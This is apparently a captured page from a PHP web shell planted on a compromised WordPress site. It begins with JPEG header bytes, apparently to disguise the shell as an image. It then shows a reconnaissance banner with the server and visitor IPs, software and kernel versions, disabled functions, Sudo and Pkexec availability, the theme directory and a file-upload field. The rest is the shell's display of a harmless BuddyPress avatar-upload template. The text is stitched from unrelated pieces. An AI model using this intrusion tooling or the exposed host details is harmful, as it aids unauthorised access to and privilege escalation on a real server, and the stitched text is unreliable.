????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.196 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/themes/x/buddypress/members/single/profile/ |
Upload File : |
<?php /** * Fires before the display of profile avatar upload content. * * @since BuddyPress (1.1.0) */ do_action( 'bp_before_profile_avatar_upload_content' ); ?> <?php if ( !(int)bp_get_option( 'bp-disable-avatar-uploads' ) ) : ?> <h4><?php _e( 'Change Profile Photo', '__x__' ); ?></h4> <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. If there is a <a href="http://gravatar.com">Gravatar</a> associated with your account email we will use that, or you can upload an image from your computer.', '__x__' ); ?></p> <form action="" method="post" id="avatar-upload-form" class="standard-form" enctype="multipart/form-data"> <?php if ( 'upload-image' == bp_get_avatar_admin_step() ) : ?> <?php wp_nonce_field( 'bp_avatar_upload' ); ?> <p><?php _e( 'Click below to select a JPG, GIF or PNG format photo from your computer and then click \'Upload Image\' to proceed.', '__x__' ); ?></p> <p id="avatar-upload"> <input type="file" name="file" id="file" /> <input type="submit" name="upload" id="upload" value="<?php esc_attr_e( 'Upload Image', '__x__' ); ?>" /> <input type="hidden" name="action" id="action" value="bp_avatar_upload" /> </p> <?php if ( bp_get_user_has_avatar() ) : ?> <p><?php _e( "If you'd like to delete your current profile photo but not upload a new one, please use the delete profile photo button.", '__x__' ); ?></p> <p><a class="button edit" href="<?php bp_avatar_delete_link(); ?>" title="<?php esc_attr_e( 'Delete Profile Photo', '__x__' ); ?>"><?php _e( 'Delete My Profile Photo', '__x__' ); ?></a></p> <?php endif; ?> <?php endif; ?> <?php if ( 'crop-image' == bp_get_avatar_admin_step() ) : ?> <h5><?php _e( 'Crop Your New Profile Photo', '__x__' ); ?></h5> <img src="<?php bp_avatar_to_crop(); ?>" id="avatar-to-crop" class="avatar" alt="<?php esc_attr_e( 'Profile Photo to crop', '__x__' ); ?>" /> <div id="avatar-crop-pane"> <img src="<?php bp_avatar_to_crop(); ?>" id="avatar-crop-preview" class="avatar" alt="<?php esc_attr_e( 'Profile Photo preview', '__x__' ); ?>" /> </div> <input type="submit" name="avatar-crop-submit" id="avatar-crop-submit" value="<?php esc_attr_e( 'Crop Image', '__x__' ); ?>" /> <input type="hidden" name="image_src" id="image_src" value="<?php bp_avatar_to_crop_src(); ?>" /> <input type="hidden" id="x" name="x" /> <input type="hidden" id="y" name="y" /> <input type="hidden" id="w" name="w" /> <input type="hidden" id="h" name="h" /> <?php wp_nonce_field( 'bp_avatar_cropstore' ); ?> <?php endif; ?> </form> <?php /** * Load the Avatar UI templates * * @since BuddyPress (2.3.0) */ bp_avatar_get_templates(); ?> <?php else : ?> <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. To change your profile photo, please create an account with <a href="http://gravatar.com">Gravatar</a> using the same email address as you used to register with this site.', '__x__' ); ?></p> <?php endif; ?> <?php /** * Fires after the display of profile avatar upload content. * * @since BuddyPress (1.1.0) */ do_action( 'bp_after_profile_avatar_upload_content' ); ?>